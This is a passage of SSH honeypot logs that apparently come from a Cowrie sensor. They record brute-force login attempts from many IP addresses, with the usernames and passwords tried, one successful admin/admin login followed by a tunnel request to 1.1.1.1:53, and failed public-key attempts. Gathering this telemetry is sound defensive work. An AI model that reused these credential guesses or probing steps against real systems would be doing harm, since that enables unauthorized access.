sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:44.146551Z","src_ip":"112.104.154.26","session":"f72986d97c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq101010","message":"login attempt [root/Qq101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:44.944511Z","src_ip":"112.104.154.26","session":"f72986d97c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a87a3384a03","protocol":"ssh","message":"New connection: 20.160.86.7:35258 (10.17.0.5:22) [session: 9a87a3384a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:45.124207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:45.130311Z","src_ip":"20.160.86.7","session":"9a87a3384a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:45.215301Z","src_ip":"20.160.86.7","session":"9a87a3384a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"007007","message":"login attempt [root/007007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:45.584222Z","src_ip":"20.160.86.7","session":"9a87a3384a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:46.138580Z","src_ip":"112.104.154.26","session":"f72986d97c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:46.673776Z","src_ip":"20.160.86.7","session":"9a87a3384a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5668,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ac9248cea8","protocol":"ssh","message":"New connection: 87.251.64.176:5668 (10.17.0.5:22) [session: d9ac9248cea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:51.830817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:51.836274Z","src_ip":"87.251.64.176","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:51.930758Z","src_ip":"87.251.64.176","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:52.220297Z","src_ip":"87.251.64.176","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:52.316826Z","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:52.414597Z","src_ip":"87.251.64.176","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:52.648403Z","src_ip":"87.251.64.176","session":"d9ac9248cea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":57494,"dst_ip":"159.203.135.109","dst_port":22,"session":"e34a35fb4936","protocol":"ssh","message":"New connection: 102.210.148.92:57494 (159.203.135.109:22) [session: e34a35fb4936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:06.407000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:06.412126Z","src_ip":"102.210.148.92","session":"e34a35fb4936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:06.653519Z","src_ip":"102.210.148.92","session":"e34a35fb4936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:07.649826Z","src_ip":"102.210.148.92","session":"e34a35fb4936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:08.894104Z","src_ip":"102.210.148.92","session":"e34a35fb4936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":40938,"dst_ip":"10.17.0.5","dst_port":22,"session":"445b28c66772","protocol":"ssh","message":"New connection: 45.144.233.56:40938 (10.17.0.5:22) [session: 445b28c66772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:33.759345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:33.765103Z","src_ip":"45.144.233.56","session":"445b28c66772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:33.864088Z","src_ip":"45.144.233.56","session":"445b28c66772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"videoflow","message":"login attempt [root/videoflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:34.270780Z","src_ip":"45.144.233.56","session":"445b28c66772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:35.367381Z","src_ip":"45.144.233.56","session":"445b28c66772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":60228,"dst_ip":"10.17.0.5","dst_port":22,"session":"7270b0224e5d","protocol":"ssh","message":"New connection: 103.82.20.28:60228 (10.17.0.5:22) [session: 7270b0224e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:42.802040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:42.806592Z","src_ip":"103.82.20.28","session":"7270b0224e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:43.068654Z","src_ip":"103.82.20.28","session":"7270b0224e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melol188","message":"login attempt [root/melol188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:43.854766Z","src_ip":"103.82.20.28","session":"7270b0224e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.67.63","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8b372dfa7e","protocol":"ssh","message":"New connection: 51.79.67.63:41208 (10.17.0.5:22) [session: cf8b372dfa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.502570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.505948Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.526416Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:99:bf:d1:13:e7:ad:37:d1:d3:c0:cc:fe:5a:4e:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC09efMJHgHU08MR/piqUU7hC4IGazpSYsOE/KfyKHdC8bRvdXHmeuW/g0qVV5aW/8zJh4TSmHb5W2yk26jiDOsE2KTIvzhCDUhsy4DKMoa/Cn2Q/F1x+oUXLFPpHPEzv83wgdW1wulULu1Mm/ctzKeY5+0hoxryIZ8P60QchtpRZRCz3Et5yM9Gpx3AO/dQ4TINFU3vQ5f/l0eBMIOtkoSmtea5/1soQj8QLSO6Ivnhx6Bj588cuUNBFy5xuW/Qa600vnNGXvmDTES1Jc5KFfqSDvdZtiQNzVHJc32YoJcilyZTa9iyoJLoU/Y1wyyU9VvnyDky3ixAUCqKpdcIBnD+kkKlZW38W2KyKHjD/vOmuy8OXnUiCUSuAQCKVuQhJ0OCKthbfKXIknZ1z9Hc9Gz5uTBubQTKac/JNQY6h3If6/rO5bPwBUj+sx2LnroImFuPfaAEe5xfb11zK7BF25i1OWlGjxeHZGtKrm18Oatr8NbJAC7kQ/WOVipVnpKaTCe5wSzCRPFmEl4VIzr7EtYNtLSv1k2WZ+66gCvv4pYv2ahkNqsQ2Qre0DPnPmSDn6B03Qhb5TmHrxB3j8M/TdX83ARqm2ojomXehPskJGeBmFWnjuOTn/r2K0iwYjCeSR2iLanmdB4djkmPMI9jiTTXt3GKHguuQzx+eMb/GCR+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:99:bf:d1:13:e7:ad:37:d1:d3:c0:cc:fe:5a:4e:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.607748Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:99:bf:d1:13:e7:ad:37:d1:d3:c0:cc:fe:5a:4e:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC09efMJHgHU08MR/piqUU7hC4IGazpSYsOE/KfyKHdC8bRvdXHmeuW/g0qVV5aW/8zJh4TSmHb5W2yk26jiDOsE2KTIvzhCDUhsy4DKMoa/Cn2Q/F1x+oUXLFPpHPEzv83wgdW1wulULu1Mm/ctzKeY5+0hoxryIZ8P60QchtpRZRCz3Et5yM9Gpx3AO/dQ4TINFU3vQ5f/l0eBMIOtkoSmtea5/1soQj8QLSO6Ivnhx6Bj588cuUNBFy5xuW/Qa600vnNGXvmDTES1Jc5KFfqSDvdZtiQNzVHJc32YoJcilyZTa9iyoJLoU/Y1wyyU9VvnyDky3ixAUCqKpdcIBnD+kkKlZW38W2KyKHjD/vOmuy8OXnUiCUSuAQCKVuQhJ0OCKthbfKXIknZ1z9Hc9Gz5uTBubQTKac/JNQY6h3If6/rO5bPwBUj+sx2LnroImFuPfaAEe5xfb11zK7BF25i1OWlGjxeHZGtKrm18Oatr8NbJAC7kQ/WOVipVnpKaTCe5wSzCRPFmEl4VIzr7EtYNtLSv1k2WZ+66gCvv4pYv2ahkNqsQ2Qre0DPnPmSDn6B03Qhb5TmHrxB3j8M/TdX83ARqm2ojomXehPskJGeBmFWnjuOTn/r2K0iwYjCeSR2iLanmdB4djkmPMI9jiTTXt3GKHguuQzx+eMb/GCR+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.611707Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpz682EsbLZj+vyuaR0KcXdzulEyX/x/3NMkvmPuRFpjp1tPpweuLugugJqjIeHntYmUmCllE+MTtDB7ZNo8YI1vyqIomkmaKBW06Ur6r8XhAGB5j75d2Ij3EontZE0OhiRko2CM+dYC6ySOQpuHpfNRZ34J73n+WXzsLTEiNsfs4HFZT7TIg4hH3C7Xsz+ZPGh7UaD1d3BXoN9kQQNFoKjoqGvq00EW+8NngTpFrHl64j8XYo/mGh3OuKQuGD77lMUfHggtl8bejMvgGYbhbQs7PTab8cRuMrl6tnPVo9HvdPPpNH/QH30IX9YLMMv1gc0gJUcra9So0fc07KjEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.633324Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:eb:9d:03:f1:7b:8d:70:4c:fb:b7:ca:d0:e9:bb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpz682EsbLZj+vyuaR0KcXdzulEyX/x/3NMkvmPuRFpjp1tPpweuLugugJqjIeHntYmUmCllE+MTtDB7ZNo8YI1vyqIomkmaKBW06Ur6r8XhAGB5j75d2Ij3EontZE0OhiRko2CM+dYC6ySOQpuHpfNRZ34J73n+WXzsLTEiNsfs4HFZT7TIg4hH3C7Xsz+ZPGh7UaD1d3BXoN9kQQNFoKjoqGvq00EW+8NngTpFrHl64j8XYo/mGh3OuKQuGD77lMUfHggtl8bejMvgGYbhbQs7PTab8cRuMrl6tnPVo9HvdPPpNH/QH30IX9YLMMv1gc0gJUcra9So0fc07KjEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:02:44.636647Z","src_ip":"51.79.67.63","session":"cf8b372dfa7e","protocol":"ssh"}
